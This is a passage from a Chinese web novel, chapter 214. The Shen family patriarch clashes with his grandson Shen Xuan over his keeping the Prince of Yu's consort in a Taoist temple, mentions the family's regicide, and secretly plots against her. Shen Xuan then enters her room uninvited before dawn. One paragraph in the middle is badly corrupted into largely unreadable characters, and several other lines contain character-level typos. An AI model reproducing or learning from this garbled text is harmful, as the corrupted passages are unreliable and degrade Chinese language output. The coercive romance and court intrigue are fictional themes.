砰——沈老手拍在书案上,眼皮垂坠的双眼睁开,瞪眼看来,“你知道我是什么意思! 沈玄短叹一声,道:“日后我会看着她,不会给家中惹事。 214、第二百一十四章 沈老目光阴翳,默然不语 方才话已经说得再明白不过,但这个一向最懂得审时度势,精明强干的长孙竟仍是不肯让步,他也不能过于紧逼,语气稍缓道:“豫王还没死呢,你就要逼着他的王妃出家 “就不怕他领兵杀回来?"沈老一字一句道。 沈玄眉梢微微一抬,道:“圣上已死,豫王能与我们相安无事?到这个地步,早已无后路可退。既然迟早都要对上,又何须如此怕他。 沈老眉揉了揉额侧,道:“能多拖一段时日,等太子立下,便有了正经名头,再来对付豫王才是最好的,又何必急着去惹怒他。 沈玄道:“这段日子先让她住在观里,就当是出家清修了,等外面局势安定,再安排她还俗。” “说来说去,你还放不下这女子?"沈老怒道,“家中对你倾力培养,众多名门贵女放着不要,却要一个嫁过人的妇人?除了惹麻烦上身,她能助你什么,要说美色过人,仔细寻寻,还能找不出其他美人。 沈玄神色微动,眉头紧皱,祖父说的这许多利害关系他心里再清楚不过。沈玄素来冷心硬肠,可一想到他追上马车时,她拾头望过来时脆弱又倔强的模样,心里禁不住有些发软。 “祖父教训的是,”沈玄沉吟过后缓缓开口,家里为我铺路,又将妹妹嫁给太子,族中叔伯兄弟也多助力,我全记在心中。只是眼下这样的局面,沈家已立在悬崖峭壁之上,弑君的事都已做了,还怕再多一两件?" 沈老瞪他,沈玄并未退缩之意,语气依旧平静::“天家办是世家,当年得了际遇,这才一朝变龙,太上皇昏暖,朝中混乱,到了这个时候,谨守为臣之礼已全无用处,李家人前有子染父妃,后有父占子娘,什么荒唐事没做过,我也不过是效仿前事而已。 沈老听了这话,呼吸重了几分,脸上怒色反而淡了,在他脸上看了几眼,沉默片刻,道:“你现在主意大了,祖父的话也听不进去,凡事皆有法度,不可过甚,你好自为之吧。 沈玄心下一叹,他打小受祖父教诲,又说了几句打圆场的话,留下转圜余地 沈老摆了摆手,说年纪大已有些疲惫,让他回去。 等沈玄走后,他闭目养神,不一会儿小厮进来,就要叫婢女伺候洗漱休息,沈老突然睁开眼,拦住小厮,叫了家中管事进来,咐他去办事 管事服侍沈家几十年,全家都仰仗沈家而活,是沈老心腹,听了沈老一番话,不由惊讶,“若是让郎君知晓. 沈老冷哼一声,道:“所以才让你把这话带去给娘娘,她给家里惹了那么大的麻烦,现在出面料理点小事难道也做不好? 当着亲信的面,他并设有控掩情绪,眼中全是不满,“"作若隆下没有最线,立广平王为人子,等上十几二十年又如河,山事向来变化无说,她有儿子又有沙家支撑,难首不斗不过一个小儿、就区站这份心急洞辣,逼着家族创促收拾局面,当初真不孩反正这事就让她去想才 沈老对沈玄这个长孙一向寄子厚望,方才一番长说,虽对地致于美色有些失望,可同时又觉得他这份心气晚力准得,不想与他正面冲中实,伤了祖孙感情、沈置这个孙女的作为让他失望了几回,且听沈玄风才所言,分明有意更进一步,日子长了,家族是否要年幼的太子尚未可知,还不如让她出面将此事了结。 沈老松弛的眼皮轻轻一抬,道:“她已误事两回,事不过三,朝中毋需她理会,对付女人之事总该拿得出手段。 沈玄回到屋中,将跪在祖父院子的两个侍卫一并带回。两人皆是羞愧难言,一进门就跪下请罪。 沈玄飞快扫过两人,“祖父年纪大了,日后未必有精力操持家里的事,你们若想跟随祖父,日后便长留在家,不必跟我在外奔波。 两个侍卫吓得面色发白,不住告饶。 沈玄却瞧也不瞧两人,进屋休息。近随端了温水巾帕进来,在沈玄洗脸之时,提起今日来家中的两家有意说亲的事,又说这两家的娘子如何貌美贤惠 沈玄不悦道:“再啰嗉也出去一起跪着。’ 随从立时闭嘴,收拾完蹑手蹑脚地出去 沈玄揉了揉眉心,今日在朝中周旋一日,回来又需要应付祖父,处处都得小心,不可疏忽。他朝窗外看去,只见天色漆黑,月如银勾 洞灵观内,肖稚鱼正睡着,突然被一阵异常响动惊醒,睁开眼,就见房门被推开,沈玄缓步走进来。原本在侧屋睡着的景春被他带来的随从拉开 肖稚鱼惊了一下,微微沉了脸,看着沈玄。 外面天还未亮,朝东极淡的一抹白色微光。沈玄坐到床边,见她雨润关蓉似的一张脸,心下微微一阵酥麻,笑道:“等会儿还有许多事要去做,趁着还早就来看看你。" 肖稚鱼没好气道:“出家清修之地,沈舍人不告而至,闯妇人居室,还真是知礼。 “知不知礼都闯了,你不用拿话气我。”沈玄拉住她露在被子外面的手,问她这两日吃住如何,还缺什么。 肖稚鱼挣不来他的手,身上穿的单薄也不敢十分惹怒他,想了想,道,“只有两身衣裳。 沈玄道:“想派人去豫王府拿绝对不行。” 见肖稚鱼面露不满,他笑了笑,又道,“做衣裳也不难,只是要废几天功夫,反正你在这儿也要住段日子,发冠,法服也要备一些。我会和观主说,你有喜欢的料子样式吩咐她们去做 肖稚鱼立刻道:“观主外出访客,两日都未见了。 沈玄挑了挑眉,“哦?”忽然想到什么,他仔细去看她的脸,眸色深沉,心道:难怪这两日怎么这么乖,原来是想把主意打在这儿了。